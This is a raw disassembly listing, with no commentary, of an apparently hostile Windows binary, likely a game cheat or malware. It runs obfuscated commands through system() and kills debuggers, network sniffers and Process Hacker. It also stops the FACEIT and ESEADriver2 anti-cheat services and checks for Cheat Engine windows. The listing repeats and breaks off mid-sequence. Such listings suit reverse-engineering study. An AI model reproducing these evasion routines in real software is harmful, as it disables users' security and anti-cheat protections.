call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee550]
movdqu xmmword [rbp + 0xd78], xmm0
mov dword [rbp + 0xd88], 0xde998f9f
mov dword [rbp + 0xd8c], 0x8581d0cd
mov dword [rbp + 0xd90], 0xcac1d29d
mov dword [rbp + 0xd94], 0x100c7d3
lea rcx, [rbp + 0xd78]
call fcn.14005a900
lea rcx, [rbp + 0xd78]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5a0]
movdqu xmmword [rbp + 0x1718], xmm0
movdqa xmm1, xmmword [0x1400ee5d0]
movdqu xmmword [rbp + 0x1728], xmm1
mov word [rbp + 0x1738], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x173a], 1
lea rcx, [rbp + 0x1718]
call fcn.14005a8d0
lea rcx, [rbp + 0x1718]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1740], xmm0
movdqa xmm1, xmmword [0x1400ee5e0]
movdqu xmmword [rbp + 0x1750], xmm1
mov word [rbp + 0x1760], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1762], 1
lea rcx, [rbp + 0x1740]
call fcn.14005a8d0
lea rcx, [rbp + 0x1740]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1768], xmm0
movdqa xmm1, xmmword [0x1400ee5f0]
movdqu xmmword [rbp + 0x1778], xmm1
mov word [rbp + 0x1788], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x178a], 1
lea rcx, [rbp + 0x1768]
call fcn.14005a8d0
lea rcx, [rbp + 0x1768]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1790], xmm0
movdqa xmm1, xmmword [0x1400ee600]
movdqu xmmword [rbp + 0x17a0], xmm1
mov word [rbp + 0x17b0], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x17b2], 1
lea rcx, [rbp + 0x1790]
call fcn.14005a8d0
lea rcx, [rbp + 0x1790]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee580]
movdqu xmmword [rbp + 0x5d8], xmm0
mov dword [rbp + 0x5e8], 0x82d5ca82
mov dword [rbp + 0x5ec], 0xc2cf8298
mov dword [rbp + 0x5f0], 0xc2d4cf
mov byte [rbp + 0x5f4], 1
lea rcx, [rbp + 0x5d8]
call fcn.14005a8a0
lea rcx, [rbp + 0x5d8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee560]
movdqu xmmword [rbp + 0x10], xmm0
mov dword [rbp + 0x20], 0xcad5d8c9
mov word [rbp + 0x24], 0xdc
mov byte [rbp + 0x26], 1
lea rcx, [rbp + 0x10]
call fcn.14005a870
lea rcx, [rbp + 0x10]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerUI.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerSvc.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_wireshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_rawshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_charles___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee570]
movdqu xmmword [rbp + 0x8f8], xmm0
mov dword [rbp + 0x908], 0xcc8e8480
mov dword [rbp + 0x90c], 0x9c9a80d3
mov dword [rbp + 0x910], 0xd2cdc0d1
mov word [rbp + 0x914], Ordinal_200
mov byte [rbp + 0x916], 1
lea rcx, [rbp + 0x8f8]
call fcn.14005a840
lea rcx, [rbp + 0x8f8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Cheat_Engine_7.1
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140053bf0
lea rax, [rbp + 0xd98]
mov qword [rbp + 0x2090], rax
movzx edx, byte [rbp + 0x2090]
lea rcx, [rbp + 0xd98]
call fcn.14004efa0
nop
xor r8d, r8d
lea rdx, [0x1400e06e2]
lea rcx, [rbp + 0xd98]
call fcn.14004efc0
nop
lea rdx, [rbp + 0xd98]
lea rcx, [0x140102610]
call fcn.1400750c0
call fcn.14004f740
lea rcx, str.net_stop_FACEIT__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_ESEADriver2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5c0]
movdqu xmmword [rbp + 0x2d8], xmm0
mov dword [rbp + 0x2e8], 0x809e84d7
mov dword [rbp + 0x2ec], 0xd6d1dccd
mov word [rbp + 0x2f0], Ordinal_200
mov byte [rbp + 0x2f2], 1
lea rcx, [rbp + 0x2d8]
call fcn.14005a930
lea rcx, [rbp + 0x2d8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee550]
movdqu xmmword [rbp + 0xdb8], xmm0
mov dword [rbp + 0xdc8], 0xde998f9f
mov dword [rbp + 0xdcc], 0x8581d0cd
mov dword [rbp + 0xdd0], 0xcac1d29d
mov dword [rbp + 0xdd4], 0x100c7d3
lea rcx, [rbp + 0xdb8]
call fcn.14005a900
lea rcx, [rbp + 0xdb8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5a0]
movdqu xmmword [rbp + 0x17b8], xmm0
movdqa xmm1, xmmword [0x1400ee5d0]
movdqu xmmword [rbp + 0x17c8], xmm1
mov word [rbp + 0x17d8], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x17da], 1
lea rcx, [rbp + 0x17b8]
call fcn.14005a8d0
lea rcx, [rbp + 0x17b8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x17e0], xmm0
movdqa xmm1, xmmword [0x1400ee5e0]
movdqu xmmword [rbp + 0x17f0], xmm1
mov word [rbp + 0x1800], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1802], 1
lea rcx, [rbp + 0x17e0]
call fcn.14005a8d0
lea rcx, [rbp + 0x17e0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1808], xmm0
movdqa xmm1, xmmword [0x1400ee5f0]
movdqu xmmword [rbp + 0x1818], xmm1
mov word [rbp + 0x1828], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x182a], 1
lea rcx, [rbp + 0x1808]
call fcn.14005a8d0
lea rcx, [rbp + 0x1808]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1830], xmm0
movdqa xmm1, xmmword [0x1400ee600]
movdqu xmmword [rbp + 0x1840], xmm1
mov word [rbp + 0x1850], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1852], 1
lea rcx, [rbp + 0x1830]
call fcn.14005a8d0
lea rcx, [rbp + 0x1830]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee580]
movdqu xmmword [rbp + 0x5f8], xmm0
mov dword [rbp + 0x608], 0x82d5ca82
mov dword [rbp + 0x60c], 0xc2cf8298
mov dword [rbp + 0x610], 0xc2d4cf
mov byte [rbp + 0x614], 1
lea rcx, [rbp + 0x5f8]
call fcn.14005a8a0
lea rcx, [rbp + 0x5f8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee560]
movdqu xmmword [rbp + 0x28], xmm0
mov dword [rbp + 0x38], 0xcad5d8c9
mov word [rbp + 0x3c], 0xdc
mov byte [rbp + 0x3e], 1
lea rcx, [rbp + 0x28]
call fcn.14005a870
lea rcx, [rbp + 0x28]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerUI.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerSvc.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_wireshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_rawshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_charles___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee570]
movdqu xmmword [rbp + 0x918], xmm0
mov dword [rbp + 0x928], 0xcc8e8480
mov dword [rbp + 0x92c], 0x9c9a80d3
mov dword [rbp + 0x930], 0xd2cdc0d1
mov word [rbp + 0x934], Ordinal_200
mov byte [rbp + 0x936], 1
lea rcx, [rbp + 0x918]
call fcn.14005a840
lea rcx, [rbp + 0x918]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Cheat_Engine_7.0
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14005405d
lea rax, [rbp + 0xdd8]
mov qword [rbp + 0x2090], rax
movzx edx, byte [rbp + 0x2090]
lea rcx, [rbp + 0xdd8]
call fcn.14004efa0
nop
xor r8d, r8d
lea rdx, [0x1400e06e2]
lea rcx, [rbp + 0xdd8]
call fcn.14004efc0
nop
lea rdx, [rbp + 0xdd8]
lea rcx, [0x140102610]
call fcn.1400750c0
call fcn.14004f740
lea rcx, str.net_stop_FACEIT__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_ESEADriver2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5c0]
movdqu xmmword [rbp + 0x2f8], xmm0
mov dword [rbp + 0x308], 0x809e84d7
mov dword [rbp + 0x30c], 0xd6d1dccd
mov word [rbp + 0x310], Ordinal_200
mov byte [rbp + 0x312], 1
lea rcx, [rbp + 0x2f8]
call fcn.14005a930
lea rcx, [rbp + 0x2f8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee550]
movdqu xmmword [rbp + 0xdf8], xmm0
mov dword [rbp + 0xe08], 0xde998f9f
mov dword [rbp + 0xe0c], 0x8581d0cd
mov dword [rbp + 0xe10], 0xcac1d29d
mov dword [rbp + 0xe14], 0x100c7d3
lea rcx, [rbp + 0xdf8]
call fcn.14005a900
lea rcx, [rbp + 0xdf8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5a0]
movdqu xmmword [rbp + 0x1858], xmm0
movdqa xmm1, xmmword [0x1400ee5d0]
movdqu xmmword [rbp + 0x1868], xmm1
mov word [rbp + 0x1878], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x187a], 1
lea rcx, [rbp + 0x1858]
call fcn.14005a8d0
lea rcx, [rbp + 0x1858]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1880], xmm0
movdqa xmm1, xmmword [0x1400ee5e0]
movdqu xmmword [rbp + 0x1890], xmm1
mov word [rbp + 0x18a0], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x18a2], 1
lea rcx, [rbp + 0x1880]
call fcn.14005a8d0
lea rcx, [rbp + 0x1880]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x18a8], xmm0
movdqa xmm1, xmmword [0x1400ee5f0]
movdqu xmmword [rbp + 0x18b8], xmm1
mov word [rbp + 0x18c8], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x18ca], 1
lea rcx, [rbp + 0x18a8]
call fcn.14005a8d0
lea rcx, [rbp + 0x18a8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x18d0], xmm0
movdqa xmm1, xmmword [0x1400ee600]
movdqu xmmword [rbp + 0x18e0], xmm1
mov word [rbp + 0x18f0], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x18f2], 1
lea rcx, [rbp + 0x18d0]
call fcn.14005a8d0
lea rcx, [rbp + 0x18d0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee580]
movdqu xmmword [rbp + 0x618], xmm0
mov dword [rbp + 0x628], 0x82d5ca82
mov dword [rbp + 0x62c], 0xc2cf8298
mov dword [rbp + 0x630], 0xc2d4cf
mov byte [rbp + 0x634], 1
lea rcx, [rbp + 0x618]
call fcn.14005a8a0
lea rcx, [rbp + 0x618]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee560]
movdqu xmmword [rbp + 0x40], xmm0
mov dword [rbp + 0x50], 0xcad5d8c9
mov word [rbp + 0x54], 0xdc
mov byte [rbp + 0x56], 1
lea rcx, [rbp + 0x40]
call fcn.14005a870
lea rcx, [rbp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerUI.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerSvc.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_wireshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_rawshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_charles___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee570]
movdqu xmmword [rbp + 0x938], xmm0
mov dword [rbp + 0x948], 0xcc8e8480
mov dword [rbp + 0x94c], 0x9c9a80d3
mov dword [rbp + 0x950], 0xd2cdc0d1
mov word [rbp + 0x954], Ordinal_200
mov byte [rbp + 0x956], 1
lea rcx, [rbp + 0x938]
call fcn.14005a840
lea rcx, [rbp + 0x938]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Cheat_Engine_6.9
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400544ca
lea rax, [rbp + 0xe18]
mov qword [rbp + 0x2090], rax
movzx edx, byte [rbp + 0x2090]
lea rcx, [rbp + 0xe18]
call fcn.14004efa0
nop
xor r8d, r8d
lea rdx, [0x1400e06e2]
lea rcx, [rbp + 0xe18]
call fcn.14004efc0
nop
lea rdx, [rbp + 0xe18]
lea rcx, [0x140102610]
call fcn.1400750c0
call fcn.14004f740
lea rcx, str.net_stop_FACEIT__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_ESEADriver2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5c0]
movdqu xmmword [rbp + 0x318], xmm0
mov dword [rbp + 0x328], 0x809e84d7
mov dword [rbp + 0x32c], 0xd6d1dccd
mov word [rbp + 0x330], Ordinal_200
mov byte [rbp + 0x332], 1
lea rcx, [rbp + 0x318]
call fcn.14005a930
lea rcx, [rbp + 0x318]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee550]
movdqu xmmword [rbp + 0xe38], xmm0
mov dword [rbp + 0xe48], 0xde998f9f
mov dword [rbp + 0xe4c], 0x8581d0cd
mov dword [rbp + 0xe50], 0xcac1d29d
mov dword [rbp + 0xe54], 0x100c7d3
lea rcx, [rbp + 0xe38]
call fcn.14005a900
lea rcx, [rbp + 0xe38]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5a0]
movdqu xmmword [rbp + 0x18f8], xmm0
movdqa xmm1, xmmword [0x1400ee5d0]
movdqu xmmword [rbp + 0x1908], xmm1
mov word [rbp + 0x1918], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x191a], 1
lea rcx, [rbp + 0x18f8]
call fcn.14005a8d0
lea rcx, [rbp + 0x18f8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1920], xmm0
movdqa xmm1, xmmword [0x1400ee5e0]
movdqu xmmword [rbp + 0x1930], xmm1
mov word [rbp + 0x1940], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1942], 1
lea rcx, [rbp + 0x1920]
call fcn.14005a8d0
lea rcx, [rbp + 0x1920]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1948], xmm0
movdqa xmm1, xmmword [0x1400ee5f0]
movdqu xmmword [rbp + 0x1958], xmm1
mov word [rbp + 0x1968], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x196a], 1
lea rcx, [rbp + 0x1948]
call fcn.14005a8d0
lea rcx, [rbp + 0x1948]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1970], xmm0
movdqa xmm1, xmmword [0x1400ee600]
movdqu xmmword [rbp + 0x1980], xmm1
mov word [rbp + 0x1990], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1992], 1
lea rcx, [rbp + 0x1970]
call fcn.14005a8d0
lea rcx, [rbp + 0x1970]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee580]
movdqu xmmword [rbp + 0x638], xmm0
mov dword [rbp + 0x648], 0x82d5ca82
mov dword [rbp + 0x64c], 0xc2cf8298
mov dword [rbp + 0x650], 0xc2d4cf
mov byte [rbp + 0x654], 1
lea rcx, [rbp + 0x638]
call fcn.14005a8a0
lea rcx, [rbp + 0x638]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee560]
movdqu xmmword [rbp + 0x58], xmm0
mov dword [rbp + 0x68], 0xcad5d8c9
mov word [rbp + 0x6c], 0xdc
mov byte [rbp + 0x6e], 1
lea rcx, [rbp + 0x58]
call fcn.14005a870
lea rcx, [rbp + 0x58]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerUI.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerSvc.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
